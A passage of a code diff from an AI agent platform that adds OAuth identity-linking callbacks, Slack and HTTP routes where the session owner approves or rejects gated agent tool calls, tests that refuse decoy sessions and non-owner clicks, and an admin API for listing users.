+ * Wired in prod from the agent DB pool; omitted in tests that don't exercise
+ * approvals.
+ */
+ approvals?: ApprovalStore
/**
* Shared HMAC signing key with Django for the preview-proxy gate on
* non-live revision invokes (aud = `agent-ingress.preview`). When
@@ -117,6 +137,75 @@ export interface BuildAppOpts {
* prod. Optional — falls back to a direct HttpClient in tests.
*/
http?: import('@posthog/agent-shared').HttpFetcher
+ /**
+ * Identity-linking stores + env decryptor. When all three are wired, the
+ * ingress serves `GET /link/:provider/callback`: it consumes the OAuth
+ * link-state row, rebuilds the provider from the app's spec + decrypted
+ * encrypted_env, and persists the credential. Optional — omitted in tests
+ * that don't exercise the callback.
+ */
+ identityCredentials?: IdentityCredentialStore
+ identityLinks?: IdentityLinkStateStore
+ envEncryption?: EncryptedFields
+ /** PostHog API base — the `{kind:posthog}` provider builds its OAuth
+ * endpoints from this in the link callback. Without it the callback can't
+ * rebuild the posthog provider ("Unknown provider"). */
+ posthogApiBaseUrl?: string
+}
+
+/**
+ * Authenticate an approval-decision request as it would have been authenticated
+ * at the originating trigger: walk the agent's chat/mcp trigger auth configs
+ * (the surfaces that mint posthog/jwt principals) and return the first verified
+ * principal. Null when no configured mode authenticates the request.
+ *
+ * Returning the FIRST verifying mode is intentional: which configured mode
+ * authenticated the request doesn't matter for safety, because the caller still
+ * runs `principalsMatch` against the session's own principal — that match is the
+ * gate. A credential only verifies against the mode that actually accepts it (a
+ * JWT won't pass posthog `/@me`, a PAT isn't a valid JWT, …), so the resolved
+ * principal is the genuine caller regardless of trigger iteration order.
+ */
+async function authenticatePrincipalDecider(
+ req: Request,
+ application: AgentApplication,
+ revision: AgentRevision,
+ provider: AuthProvider
+): Promise<SessionPrincipal | null> {
+ for (const trigger of revision.spec.triggers) {
+ if (trigger.type !== 'chat' && trigger.type !== 'mcp') {
+ continue
+ }
+ const authConfig = triggerAuthConfig(trigger)
+ if (!authConfig) {
+ continue
+ }
+ const result = await authorize(req, application, revision, authConfig, provider)
+ if (result.ok) {
+ return result.principal
+ }
+ }
+ return null
+}
+
+/** Stable id of the decider, by principal kind — stored as the approval's `decided_by`. */
+function principalDeciderId(p: SessionPrincipal): string {
+ switch (p.kind) {
+ case 'posthog':
+ return p.user_id
+ case 'jwt':
+ return p.sub
+ case 'slack':
+ return p.agent_user_id ?? p.slack_user_id
+ default:
+ return 'unknown'
+ }
+}
+
+/** Minimal self-contained HTML for the OAuth callback result page. */
+function linkResultPage(message: string): string {
+ const safe = message.replace(/[<>&]/g, (c) => ({ '<': '&lt;', '>': '&gt;', '&': '&amp;' })[c] ?? c)
+ return `<!doctype html><meta charset="utf-8"><title>PostHog agent linking</title><body style="font-family:system-ui;max-width:32rem;margin:4rem auto;padding:0 1rem;color:#111"><h2>PostHog agent</h2><p style="font-size:1.05rem">${safe}</p></body>`
}
export function buildApp(opts: BuildAppOpts): Express {
@@ -168,6 +257,72 @@ export function buildApp(opts: BuildAppOpts): Express {
res.json({ ok: true })
})
+ // OAuth identity-linking callback. The provider's `initiate` (run inside a
+ // tool's `ctx.identity.resolve`) pointed the IdP redirect here. We peek the
+ // single-use state to find the app, rebuild the provider from its spec +
+ // decrypted env, then `complete` (which consumes the state, exchanges the
+ // code, and persists the linked credential). Root-level — not under
+ // /agents/:slug — so the redirect URI is stable across routing modes.
+ app.get(
+ '/link/:provider/callback',
+ asyncHandler(async (req: Request, res: Response) => {
+ const { identityLinks, identityCredentials, envEncryption, http } = opts
+ if (!identityLinks || !identityCredentials || !envEncryption || !http) {
+ res.status(500).send(linkResultPage('Identity linking is not configured on this ingress.'))
+ return
+ }
+ const providerId = req.params.provider
+ const stateId = typeof req.query.state === 'string' ? req.query.state : ''
+ const code = typeof req.query.code === 'string' ? req.query.code : undefined
+ const errorParam = typeof req.query.error === 'string' ? req.query.error : undefined
+ if (errorParam) {
+ res.status(400).send(linkResultPage(`Authorization was denied (${errorParam}).`))
+ return
+ }
+ const peeked = await identityLinks.peek(stateId)
+ if (!peeked || peeked.provider !== providerId) {
+ res.status(400).send(
+ linkResultPage('This link has expired or was already used — ask the agent for a fresh one.')
+ )
+ return
+ }
+ const application = await opts.revisions.getApplication(peeked.applicationId)
+ const revision = application?.live_revision_id
+ ? await opts.revisions.getRevision(application.live_revision_id)
+ : null
+ if (!revision) {
+ res.status(404).send(linkResultPage('The agent for this link is no longer available.'))
+ return
+ }
+ const env = envEncryption.decryptJsonEnv(revision.encrypted_env)
+ const registry = buildIdentityRegistry(revision.spec.identity_providers, {
+ links: identityLinks,
+ credentials: identityCredentials,
+ http,
+ secret: (name) => env[name],
+ posthogBaseUrl: opts.posthogApiBaseUrl,
+ })
+ const provider = registry.get(providerId)
+ if (!provider) {
+ res.status(400).send(linkResultPage(`Unknown provider "${providerId}".`))
+ return
+ }
+ try {
+ await provider.complete({ stateId, query: { code, error: errorParam } })
+ } catch (err) {
+ log.warn(
+ { provider: providerId, err: err instanceof Error ? err.message : String(err) },
+ 'identity_link_callback_failed'
+ )
+ res.status(400).send(linkResultPage('Linking failed — please try again from the chat.'))
+ return
+ }
+ res.status(200).send(
+ linkResultPage(`Connected ${providerId}. You can close this tab and return to your chat.`)
+ )
+ })
+ )
+
const authProvider = opts.authProvider ?? PUBLIC_ONLY_AUTH_PROVIDER
// Superset of every trigger's deps — each module's router picks what it
// needs. Slack uses `signingSecretResolver`+`identities`; chat/webhook/mcp
@@ -179,6 +334,7 @@ export function buildApp(opts: BuildAppOpts): Express {
authProvider,
signingSecretResolver: opts.slackSigningSecretResolver ?? UNCONFIGURED_SLACK_SIGNING_SECRET_RESOLVER,
identities: opts.identities,
+ approvals: opts.approvals,
broker: opts.credentialBroker,
http: opts.http,
routingMode: opts.routingMode,
@@ -187,6 +343,84 @@ export function buildApp(opts: BuildAppOpts): Express {
} as const
const mount = opts.routingMode === 'path' ? `${opts.pathPrefix ?? '/agents'}/:slug` : ''
+ // Principal tool-approval decisions — the lightweight, identity-matched
+ // counterpart to the Slack interactivity handler, for posthog (PostHog Code)
+ // and jwt principals. Authenticated by the same verifier the agent's
+ // chat/mcp trigger uses, then required to BE the session principal — a
+ // generic identity match, NOT a PostHog-authority check. `agent`-type
+ // approvals are rejected here; team admins decide those in the console.
+ const ApprovalDecideBodySchema = z.object({
+ decision: z.enum(['approve', 'reject']),
+ reason: z.string().optional(),
+ edited_args: z.record(z.string(), z.unknown()).optional(),
+ })
+ // Mount-relative (like the trigger routes) so a client appends it to the
+ // same per-agent ingress base it uses for `/send` (PostHog Code does). The
+ // `:slug` is unused — the row is resolved from the approval id, not the
+ // slug — but keeping the path under the mount matches how clients address
+ // the ingress. In domain mode `mount` is '' so it's `/approvals/:id/decide`.
+ app.post(
+ `${mount}/approvals/:id/decide`,
+ asyncHandler(async (req: Request, res: Response) => {
+ if (!opts.approvals) {
+ res.status(500).json({ error: 'approvals_not_configured' })
+ return
+ }
+ const parsed = ApprovalDecideBodySchema.safeParse(req.body)
+ if (!parsed.success) {
+ res.status(400).json({ error: 'invalid_body', issues: parsed.error.issues })
+ return
+ }
+ const row = await opts.approvals.get(req.params.id)
+ // `agent`-type rows are decided in the console — collapse to not-found
+ // here so this surface never leaks or decides an owner-gated request.
+ // `effectiveApprovalType` also maps legacy `team_admins` rows (which
+ // have no `type`), so an in-flight pre-rebuild row can't be decided as
+ // a principal request here during the migration window.
+ if (!row || effectiveApprovalType(row.approver_scope) === 'agent') {
+ res.status(404).json({ error: 'not_found' })
+ return
+ }
+ const application = await opts.revisions.getApplication(row.application_id)
+ const revision = application ? await opts.revisions.getRevision(row.revision_id) : null
+ const session = await opts.queue.getForApplication(row.session_id, row.application_id)
+ if (!application || !revision || !session) {
+ res.status(404).json({ error: 'not_found' })
+ return
+ }
+ const caller = await authenticatePrincipalDecider(req, application, revision, authProvider)
+ if (!caller) {
+ res.status(401).json({ error: 'unauthenticated' })
+ return
+ }
+ // Principal-match: only the person who drove this session may clear
+ // their own gated call.
+ if (!principalsMatch(session.principal, caller)) {
+ res.status(403).json({ error: 'not_session_principal' })
+ return
+ }
+ const result = await applyApprovalDecision(
+ { approvals: opts.approvals, queue: opts.queue },
+ {
+ requestId: row.id,
+ applicationId: row.application_id,
+ decision: parsed.data.decision,
+ decidedBy: principalDeciderId(caller),
+ reason: parsed.data.reason,
+ editedArgs: parsed.data.edited_args,
+ }
+ )
+ if (!result.ok) {
+ const status = result.error === 'not_found' ? 404 : result.error === 'edits_not_allowed' ? 422 : 409
+ res.status(status).json(
+ result.state ? { error: result.error, state: result.state } : { error: result.error }
+ )
+ return
+ }
+ res.json({ ok: true, state: result.state })
+ })
+ )
+
// Self-describing schemas. The response cascades from `spec.triggers` ∩
// `TRIGGER_MODULES`: only modules whose type is configured on this agent
// appear, and each route is rendered with its auth concretely resolved
diff --git a/products/agent_platform/services/agent-ingress/src/triggers/slack-approval-interactivity.test.ts b/products/agent_platform/services/agent-ingress/src/triggers/slack-approval-interactivity.test.ts
new file mode 100644
index 000000000000..3f938dc31ae7
--- /dev/null
+++ b/products/agent_platform/services/agent-ingress/src/triggers/slack-approval-interactivity.test.ts
@@ -0,0 +1,239 @@
+/**
+ * Slack approval-button interactivity: decision routing + feedback.
+ *
+ * Covers the two behaviours that broke when feedback was sent in the synchronous
+ * HTTP body (Slack ignores it for Block Kit `block_actions`):
+ * - the decided-state message replacement on a principal's approve/reject,
+ * - the "not yours" ephemeral when a non-principal clicks,
+ * both now delivered via the interaction's `response_url`.
+ *
+ * Also pins the tenant/session-binding fix: the session is derived from the
+ * approval ROW, not the attacker-influenceable action-value `sessionId`.
+ */
+
+import { describe, expect, it } from 'vitest'
+
+import type {
+ AgentSession,
+ ApprovalRequest,
+ ApprovalStore,
+ SessionPrincipal,
+ SessionQueue,
+} from '@posthog/agent-shared'
+
+import { handleApprovalDecisionAction } from './slack'
+import type { RouteCtx } from './types'
+
+const APP_ID = 'app-1'
+const ROW_SESSION = 'sess-row'
+const OWNER: SessionPrincipal = { kind: 'slack', workspace_id: 'W1', slack_user_id: 'U-owner' }
+
+function fakeRow(over: Partial<ApprovalRequest> = {}): ApprovalRequest {
+ return {
+ id: 'req-1',
+ session_id: ROW_SESSION,
+ application_id: APP_ID,
+ team_id: 1,
+ revision_id: 'rev-1',
+ turn: 1,
+ tool_call_id: 'tc-1',
+ tool_name: '@posthog/team-delete',
+ proposed_args: {},
+ args_hash: Buffer.from(''),
+ assistant_message: { role: 'assistant', content: [{ type: 'text', text: '' }], timestamp: 0 },
+ approver_scope: { type: 'principal', allow_edit: false },
+ state: 'queued',
+ decision_by: null,
+ decision_at: null,
+ decision_reason: null,
+ decided_args: null,
+ dispatch_outcome: null,
+ created_at: '2026-01-01T00:00:00Z',
+ expires_at: '2026-01-02T00:00:00Z',
+ ...over,
+ }
+}
+
+interface HttpCall {
+ url: string
+ body: Record<string, unknown>
+}
+
+interface Harness {
+ ctx: RouteCtx
+ calls: {
+ markApproving: number
+ markRejected: number
+ sessionLookups: string[]
+ http: HttpCall[]
+ ack: unknown[]
+ }
+}
+
+function harness(opts: {
+ row?: ApprovalRequest | null
+ /** Principal stamped on the session the ROW points at. */
+ sessionPrincipal?: SessionPrincipal
+ /** Slack user id of the button clicker. */
+ clickerUserId?: string
+}): Harness {
+ const row = opts.row === undefined ? fakeRow() : opts.row
+ const calls = {
+ markApproving: 0,
+ markRejected: 0,
+ sessionLookups: [] as string[],
+ http: [] as HttpCall[],
+ ack: [] as unknown[],
+ }
+
+ const approvals = {
+ getForApplication: async (id: string, applicationId: string) =>
+ row && row.id === id && row.application_id === applicationId ? row : null,
+ markApproving: async (id: string) => {
+ calls.markApproving++
+ return fakeRow({ id, state: 'approving' })
+ },
+ markRejected: async (id: string) => {
+ calls.markRejected++
+ return fakeRow({ id, state: 'rejected' })
+ },
+ } as unknown as ApprovalStore
+
+ const queue = {
+ // getOwnedSession routes through this; only the ROW's session resolves.
+ getForApplication: async (sessionId: string, applicationId: string) => {
+ calls.sessionLookups.push(sessionId)
+ if (sessionId !== ROW_SESSION || applicationId !== APP_ID) {
+ return null
+ }
+ return {
+ id: ROW_SESSION,
+ team_id: 1,
+ application_id: APP_ID,
+ principal: opts.sessionPrincipal ?? OWNER,
+ } as unknown as AgentSession
+ },
+ appendPendingInput: async () => undefined,
+ update: async () => undefined,
+ } as unknown as SessionQueue
+
+ const http = {
+ fetch: async (url: string, init?: { body?: string }) => {
+ calls.http.push({ url, body: init?.body ? JSON.parse(init.body) : {} })
+ return { ok: true } as Response
+ },
+ }
+
+ const res = {
+ status: () => res,
+ json: (payload: unknown) => {
+ calls.ack.push(payload)
+ return res
+ },
+ }
+
+ const ctx = {
+ req: {},
+ res,
+ deps: { approvals, queue, http },
+ resolved: { application: { id: APP_ID } },
+ } as unknown as RouteCtx
+
+ return { ctx, calls }
+}
+
+const payload = (clickerUserId: string): { team: { id: string }; user: { id: string }; response_url: string } => ({
+ team: { id: 'W1' },
+ user: { id: clickerUserId },
+ response_url: 'https://hooks.slack.test/r/abc',
+})
+
+describe('handleApprovalDecisionAction', () => {
+ it('approve by the session principal: applies the decision and replaces the message via response_url', async () => {
+ const { ctx, calls } = harness({ sessionPrincipal: OWNER })
+ // Decoy sessionId in the action value differs from the row's session.
+ await handleApprovalDecisionAction(ctx, payload('U-owner') as never, {
+ sessionId: 'sess-DECOY',
+ requestId: 'req-1',
+ decision: 'approve',
+ })
+
+ expect(calls.markApproving).toBe(1)
+ // Fix: the session is looked up by the ROW's session, never the decoy.
+ expect(calls.sessionLookups).toEqual([ROW_SESSION])
+ // Feedback goes to response_url (not the synchronous body), replacing
+ // the buttons with the decided state.
+ expect(calls.http).toHaveLength(1)
+ expect(calls.http[0].url).toBe('https://hooks.slack.test/r/abc')
+ expect(calls.http[0].body).toMatchObject({ replace_original: true, text: '✓ Approved.' })
+ // The HTTP response is a bare ack.
+ expect(calls.ack).toEqual([{ ok: true }])
+ })
+
+ it('reject by the principal: replaces the message with the rejected state', async () => {
+ const { ctx, calls } = harness({ sessionPrincipal: OWNER })
+ await handleApprovalDecisionAction(ctx, payload('U-owner') as never, {
+ sessionId: ROW_SESSION,
+ requestId: 'req-1',
+ decision: 'reject',
+ })
+ expect(calls.markRejected).toBe(1)
+ expect(calls.http[0].body).toMatchObject({ replace_original: true, text: '✗ Rejected.' })
+ })
+
+ it('a non-principal clicker is refused with an ephemeral via response_url and no decision', async () => {
+ const { ctx, calls } = harness({ sessionPrincipal: OWNER })
+ await handleApprovalDecisionAction(ctx, payload('U-intruder') as never, {
+ sessionId: ROW_SESSION,
+ requestId: 'req-1',
+ decision: 'approve',
+ })
+ expect(calls.markApproving).toBe(0)
+ expect(calls.http).toHaveLength(1)
+ expect(calls.http[0].body).toMatchObject({ response_type: 'ephemeral', replace_original: false })
+ expect(String(calls.http[0].body.text)).toContain('Only the person who started this session')
+ })
+
+ it('an agent-type row is not decidable here (console-only): not-found ephemeral, no decision', async () => {
+ const { ctx, calls } = harness({
+ row: fakeRow({ approver_scope: { type: 'agent', allow_edit: false } }),
+ sessionPrincipal: OWNER,
+ })
+ await handleApprovalDecisionAction(ctx, payload('U-owner') as never, {
+ sessionId: ROW_SESSION,
+ requestId: 'req-1',
+ decision: 'approve',
+ })
+ expect(calls.markApproving).toBe(0)
+ expect(calls.sessionLookups).toEqual([]) // never reaches the session lookup
+ expect(calls.http[0].body).toMatchObject({ response_type: 'ephemeral' })
+ expect(String(calls.http[0].body.text)).toContain('could not be found')
+ })
+
+ it('a legacy `team_admins` row (no `type`) is treated as agent-type and refused here', async () => {
+ const { ctx, calls } = harness({
+ // Pre-rebuild shape: `approvers` instead of `type`. Must still gate to
+ // the console, not be decidable as a principal request.
+ row: fakeRow({ approver_scope: { approvers: ['team_admins'] } as never }),
+ sessionPrincipal: OWNER,
+ })
+ await handleApprovalDecisionAction(ctx, payload('U-owner') as never, {
+ sessionId: ROW_SESSION,
+ requestId: 'req-1',
+ decision: 'approve',
+ })
+ expect(calls.markApproving).toBe(0)
+ expect(calls.http[0].body).toMatchObject({ response_type: 'ephemeral' })
+ })
+
+ it('a missing row collapses to a not-found ephemeral', async () => {
+ const { ctx, calls } = harness({ row: null })
+ await handleApprovalDecisionAction(ctx, payload('U-owner') as never, {
+ sessionId: ROW_SESSION,
+ requestId: 'missing',
+ decision: 'approve',
+ })
+ expect(calls.markApproving).toBe(0)
+ expect(calls.http[0].body).toMatchObject({ response_type: 'ephemeral' })
+ })
+})
diff --git a/products/agent_platform/services/agent-ingress/src/triggers/slack.ts b/products/agent_platform/services/agent-ingress/src/triggers/slack.ts
index 44579981cd6e..f94ab123a3ce 100644
--- a/products/agent_platform/services/agent-ingress/src/triggers/slack.ts
+++ b/products/agent_platform/services/agent-ingress/src/triggers/slack.ts
@@ -16,7 +16,16 @@ import { createLogger } from '@posthog/agent-shared'
const log = createLogger('slack-trigger')
-import { AgentApplication, AgentRevision, SessionPrincipal, SLACK_BOT_TOKEN_KEY } from '@posthog/agent-shared'
+import {
+ AgentApplication,
+ AgentRevision,
+ applyApprovalDecision,
+ decodeApprovalActionValue,
+ effectiveApprovalType,
+ principalsMatch,
+ SessionPrincipal,
+ SLACK_BOT_TOKEN_KEY,
+} from '@posthog/agent-shared'
import { applyElevationDecline, applyElevationGrant, authorizeGrant } from '../enqueue/acl'
import { enqueueOrResume } from '../enqueue/enqueue'
@@ -297,8 +306,19 @@ async function slackInteractivityHandler(ctx: RouteCtx): Promise<void> {
return
}
const action = payload.actions?.[0]
- const decoded = action ? decodeElevationActionValue(action.value) : null
- if (!action || !decoded) {
+ if (!action) {
+ res.status(400).json({ error: 'no_action' })
+ return
+ }
+ // Tool-approval buttons (`principal`-type approvals) and elevation-grant
+ // buttons share this one interactivity endpoint; dispatch on the value tag.
+ const approvalAction = decodeApprovalActionValue(action.value)
+ if (approvalAction) {
+ await handleApprovalDecisionAction(ctx, payload, approvalAction)
+ return
+ }
+ const decoded = decodeElevationActionValue(action.value)
+ if (!decoded) {
res.status(400).json({ error: 'no_elevation_action' })
return
}
@@ -319,6 +339,13 @@ async function slackInteractivityHandler(ctx: RouteCtx): Promise<void> {
slack_user_id: clickerId,
agent_user_id: await resolveSlackUserId(deps, session.team_id, session.application_id, workspaceId, clickerId),
}
+ // TODO(slack-elevation): the Grant/Decline + error replies below send their
+ // feedback in the synchronous res.json body, which Slack IGNORES for Block
+ // Kit `block_actions` — so the message never updates and the "owner only" /
+ // "already decided" ephemerals never render. Same bug already fixed for the
+ // approval buttons: ack with a bare 200, then POST feedback to
+ // `payload.response_url` via `respondViaResponseUrl` (see
+ // handleApprovalDecisionAction). Left as a follow-up — separate feature.
const authz = authorizeGrant(session, requestId, clickerPrincipal)
if (!authz.ok) {
if (authz.reason === 'not_session_owner') {
@@ -363,6 +390,133 @@ async function slackInteractivityHandler(ctx: RouteCtx): Promise<void> {
res.status(400).json({ error: 'unknown_decision' })
}
+/**
+ * Update the source message of a Slack interaction. For Block Kit
+ * `block_actions`, Slack ignores the synchronous HTTP body and uses an empty
+ * 200 purely as an ack — message replacement / ephemerals MUST be POSTed to the
+ * per-interaction `response_url`. Best-effort: the decision already committed
+ * server-side, so a Slack hiccup here must never surface as a failure.
+ */
+async function respondViaResponseUrl(
+ deps: TriggerDeps,
+ responseUrl: string | undefined,
+ message: { response_type?: 'ephemeral' | 'in_channel'; replace_original?: boolean; text: string }
+): Promise<void> {
+ if (!responseUrl || !deps.http) {
+ return
+ }
+ try {
+ await deps.http.fetch(responseUrl, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json; charset=utf-8' },
+ body: JSON.stringify(message),
+ })
+ } catch (err) {
+ log.warn({ err: err instanceof Error ? err.message : String(err) }, 'slack_approval_response_url_failed')
+ }
+}
+
+/**
+ * Decide a `principal`-type tool approval from a Slack button click. The
+ * authority is a generic identity match — only the session's own principal may
+ * decide (the clicking Slack user must be the session owner), which is NOT a
+ * PostHog-authority check.
+ *
+ * The approval row is fetched scoped to the RESOLVED agent and the session is
+ * derived FROM the row (`row.session_id`), never from the attacker-influenceable
+ * action-value `sessionId` — so the principal-match is always against the
+ * approval's own session, mirroring the ingress HTTP decide route. `agent`-type
+ * rows are owner-decided in the console and refused here.
+ *
+ * Block Kit interactions can't be answered in the synchronous body, so we ack
+ * with a bare 200 and post all user feedback (the decided-state replacement, or
+ * the not-yours / already-decided ephemeral) to the interaction's `response_url`.
+ * Exported for unit testing.
+ */
+export async function handleApprovalDecisionAction(
+ ctx: RouteCtx,
+ payload: SlackInteractivityPayload,
+ decoded: { sessionId: string; requestId: string; decision: 'approve' | 'reject' }
+): Promise<void> {
+ const { res, deps } = ctx
+ if (!deps.approvals) {
+ res.status(500).json({ error: 'approvals_not_wired' })
+ return
+ }
+ const { requestId, decision } = decoded
+ const notFound = (): Promise<void> =>
+ respondViaResponseUrl(deps, payload.response_url, {
+ response_type: 'ephemeral',
+ replace_original: false,
+ text: 'This approval request could not be found.',
+ })
+
+ // Fetch the row scoped to the resolved agent, then derive the session from
+ // the row — the action-value `sessionId` is attacker-influenceable, so it's
+ // never trusted to choose whose principal must match. `agent`-type rows are
+ // console-only; collapse them (and a missing row) to a not-found ephemeral.
+ const row = await deps.approvals.getForApplication(requestId, ctx.resolved.application.id)
+ if (!row || effectiveApprovalType(row.approver_scope) === 'agent') {
+ res.json({ ok: true })
+ await notFound()
+ return
+ }
+ const session = await getOwnedSession(ctx, row.session_id)
+ if (!session) {
+ res.json({ ok: true })
+ await notFound()
+ return
+ }
+ const workspaceId = payload.team?.id ?? payload.user?.team_id ?? 'unknown'
+ const clickerId = payload.user?.id ?? ''
+ const clicker: SessionPrincipal = {
+ kind: 'slack',
+ workspace_id: workspaceId,
+ slack_user_id: clickerId,
+ agent_user_id: await resolveSlackUserId(deps, session.team_id, session.application_id, workspaceId, clickerId),
+ }
+ // Principal-match: only the person who drove this session may decide their
+ // own gated call. Anyone else (even another workspace participant) is refused
+ // with an ephemeral note that doesn't pollute the thread or touch the buttons.
+ if (!principalsMatch(session.principal, clicker)) {
+ res.json({ ok: true })
+ await respondViaResponseUrl(deps, payload.response_url, {
+ response_type: 'ephemeral',
+ replace_original: false,
+ text: 'Only the person who started this session can decide this approval.',
+ })
+ return
+ }
+ const result = await applyApprovalDecision(
+ { approvals: deps.approvals, queue: deps.queue },
+ {
+ requestId,
+ applicationId: row.application_id,
+ decision,
+ decidedBy: clicker.agent_user_id ?? clicker.slack_user_id,
+ }
+ )
+ res.json({ ok: true })
+ if (!result.ok) {
+ await respondViaResponseUrl(deps, payload.response_url, {
+ response_type: 'ephemeral',
+ replace_original: false,
+ text:
+ result.error === 'not_queued'
+ ? 'This request has already been decided.'
+ : 'This approval request could not be found.',
+ })
+ return
+ }
+ // Replace the buttons with the decided state so they can't be re-clicked and
+ // the thread shows the outcome.
+ await respondViaResponseUrl(deps, payload.response_url, {
+ response_type: 'in_channel',
+ replace_original: true,
+ text: decision === 'approve' ? '✓ Approved.' : '✗ Rejected.',
+ })
+}
+
/**
* Parse the opaque `value` Slack carries from the elevation message back to
* the interactivity payload. We pack `(sessionId, requestId, decision)` into
@@ -398,6 +552,10 @@ interface SlackInteractivityPayload {
team?: { id?: string }
user?: { id?: string; team_id?: string }
actions?: Array<{ action_id?: string; value?: string }>
+ // Per-interaction webhook for updating the source message. For Block Kit
+ // `block_actions`, Slack IGNORES the synchronous HTTP body — message
+ // replacement / ephemerals must be POSTed here (or via chat.update).
+ response_url?: string
}
/**
diff --git a/products/agent_platform/services/agent-ingress/src/triggers/types.ts b/products/agent_platform/services/agent-ingress/src/triggers/types.ts
index c2a25c5cb9a6..e9c78a9ce1ee 100644
--- a/products/agent_platform/services/agent-ingress/src/triggers/types.ts
+++ b/products/agent_platform/services/agent-ingress/src/triggers/types.ts
@@ -21,6 +21,7 @@ import type { Request, Response } from 'express'
import type { z } from 'zod'
import type {
+ ApprovalStore,
AuthConfig,
CredentialBroker,
CredentialMap,
@@ -45,6 +46,13 @@ export interface TriggerDeps {
/** Resolves the per-agent Slack signing secret named by `slack.config.signing_secret_ref`. */
signingSecretResolver: SecretResolver
identities?: IdentityStore
+ /**
+ * Approval store — the Slack interactivity handler drives `principal`-type
+ * tool-approval decisions through it (markApproving/markRejected + wake) via
+ * the shared `applyApprovalDecision` helper. Optional: triggers that never
+ * decide approvals ignore it.
+ */
+ approvals?: ApprovalStore
/**
* Per-session credential broker. Chat trigger consumes it on /run + /send;
* other triggers ignore it. Required — prod wires `PgCredentialBroker`,
diff --git a/products/agent_platform/services/agent-janitor/package.json b/products/agent_platform/services/agent-janitor/package.json
index 3eab320ad15f..1bdd243ad2ce 100644
--- a/products/agent_platform/services/agent-janitor/package.json
+++ b/products/agent_platform/services/agent-janitor/package.json
@@ -14,6 +14,8 @@
},
"scripts": {
"lint": "oxlint --quiet .",
+ "format": "oxfmt .",
+ "format:check": "oxfmt --check .",
"typescript:check": "tsc --noEmit -p .",
"test": "vitest run",
"start": "tsx src/index.ts",
diff --git a/products/agent_platform/services/agent-janitor/src/api/users.ts b/products/agent_platform/services/agent-janitor/src/api/users.ts
new file mode 100644
index 000000000000..02a45c8521ed
--- /dev/null
+++ b/products/agent_platform/services/agent-janitor/src/api/users.ts
@@ -0,0 +1,79 @@
+/**
+ * Agent end-users + their linked identities HTTP surface. Django (via
+ * `janitor_client.py` + `AgentApplicationViewSet`) proxies the console "Users"
+ * pane through these endpoints. Backed by `PgIdentityAdminStore` — a keyless,
+ * metadata-only view over `agent_user` ⋈ `agent_identity_credential`. No
+ * credential material is ever read or returned here; the janitor holds no
+ * decryption key by design.
+ *
+ * Routes are scoped at `/users/team/:team_id/agent/:application_id/...`. The
+ * janitor never resolves slugs; Django maps slug → application_id first. Same
+ * `mount*Routes(app, opts)` shape as `api/memory.ts`.
+ */
+
+import { Express, Request, Response } from 'express'
+import { z } from 'zod'
+
+import { Logger, PgIdentityAdminStore } from '@posthog/agent-shared'
+
+import { asyncHandler } from '../http-utils'
+
+const ScopeParamsSchema = z.object({
+ team_id: z.coerce.number().int().positive('missing_team_id'),
+ application_id: z.string().uuid('application_id must be a UUID'),
+})
+
+const ConnectionParamsSchema = z.object({
+ agent_user_id: z.string().uuid('agent_user_id must be a UUID'),
+ provider: z.string().min(1, 'missing_provider'),
+})
+
+export interface MountUsersRoutesOpts {
+ /** When omitted, every /users/* route returns 503. */
+ identityAdmin?: PgIdentityAdminStore
+ log: Logger
+}
+
+export function mountUsersRoutes(app: Express, opts: MountUsersRoutesOpts): void {
+ function scope(req: Request): { teamId: number; applicationId: string } {
+ const { team_id, application_id } = ScopeParamsSchema.parse(req.params)
+ return { teamId: team_id, applicationId: application_id }
+ }
+
+ function needStore(res: Response): PgIdentityAdminStore | null {
+ if (!opts.identityAdmin) {
+ res.status(503).json({ error: 'identity_admin_not_configured' })
+ return null
+ }
+ return opts.identityAdmin
+ }
+
+ /** GET — every end-user for (team, app), each with its linked connections. */
+ app.get(
+ '/users/team/:team_id/agent/:application_id',
+ asyncHandler(async (req, res) => {
+ const store = needStore(res)
+ if (!store) {
+ return
+ }
+ const { teamId, applicationId } = scope(req)
+ const results = await store.listUsersWithConnections(teamId, applicationId)
+ res.json({ count: results.length, results })
+ })
+ )
+
+ /** DELETE — revoke one linked connection (kept for audit, not hard-deleted). */
+ app.delete(
+ '/users/team/:team_id/agent/:application_id/user/:agent_user_id/connections/:provider',
+ asyncHandler(async (req, res) => {
+ const store = needStore(res)
+ if (!store) {
+ return
+ }
+ const { teamId, applicationId } = scope(req)
+ const { agent_user_id, provider } = ConnectionParamsSchema.parse(req.params)
+ const revoked = await store.revokeConnection(teamId, applicationId, agent_user_id, provider)
+ res.json({ provider, revoked })
+ })
+ )
+}
diff --git a/products/agent_platform/services/agent-janitor/src/approval-marker.ts b/products/agent_platform/services/agent-janitor/src/approval-marker.ts
deleted file mode 100644
index 4ebbd268cbcb..000000000000
--- a/products/agent_platform/services/agent-janitor/src/approval-marker.ts
+++ /dev/null
@@ -1,18 +0,0 @@
-/**
- * Janitor mirror of the runner's approval-marker contract. Kept in sync
- * with `services/agent-runner/src/loop/approval-marker.ts` so a decided
- * approval can wake a sleeping session and the runner can recognise the
- * marker on its next turn.
- *
- * The janitor never parses markers — it only writes them. Keeping the
- * builder local (rather than importing from agent-runner) avoids a
- * cross-service dependency for what is effectively a serialisation
- * format. If this drifts, the runner drops the marker as stale and
- * logs a warning; failures fail noisily.
- */
-
-export const APPROVAL_DECIDED_MARKER_PREFIX = '__POSTHOG_APPROVAL_DECIDED__'
-
-export function buildApprovalDecidedMarker(requestId: string): string {
- return `${APPROVAL_DECIDED_MARKER_PREFIX}:${requestId}`
-}
diff --git a/products/agent_platform/services/agent-janitor/src/derive-identity-providers.test.ts b/products/agent_platform/services/agent-janitor/src/derive-identity-providers.test.ts
new file mode 100644
index 000000000000..bdcbf6752057
--- /dev/null
+++ b/products/agent_platform/services/agent-janitor/src/derive-identity-providers.test.ts
@@ -0,0 +1,30 @@
+import { describe, expect, it } from 'vitest'
+
+import { deriveIdentityProviders } from './server'
+
+const SLACK = { type: 'slack', config: { trusted_workspaces: '*' } }
+const QUERY = { kind: 'native', id: '@posthog/query' } // requires posthog scope query:read
+
+describe('deriveIdentityProviders (freeze auto-wire)', () => {
+ it('adds a posthog provider with the union of native-tool scopes for a Slack agent', () => {
+ const out = deriveIdentityProviders({ triggers: [SLACK] }, [QUERY])
+ expect(out).toEqual([{ kind: 'posthog', id: 'posthog', scopes: ['query:read'] }])
+ })
+
+ it('does NOT add a provider for a chat/MCP agent (passthrough seed covers it)', () => {
+ expect(deriveIdentityProviders({ triggers: [{ type: 'chat', config: {} }] }, [QUERY])).toEqual([])
+ })
+
+ it('scope-unions onto an author-declared posthog provider', () => {
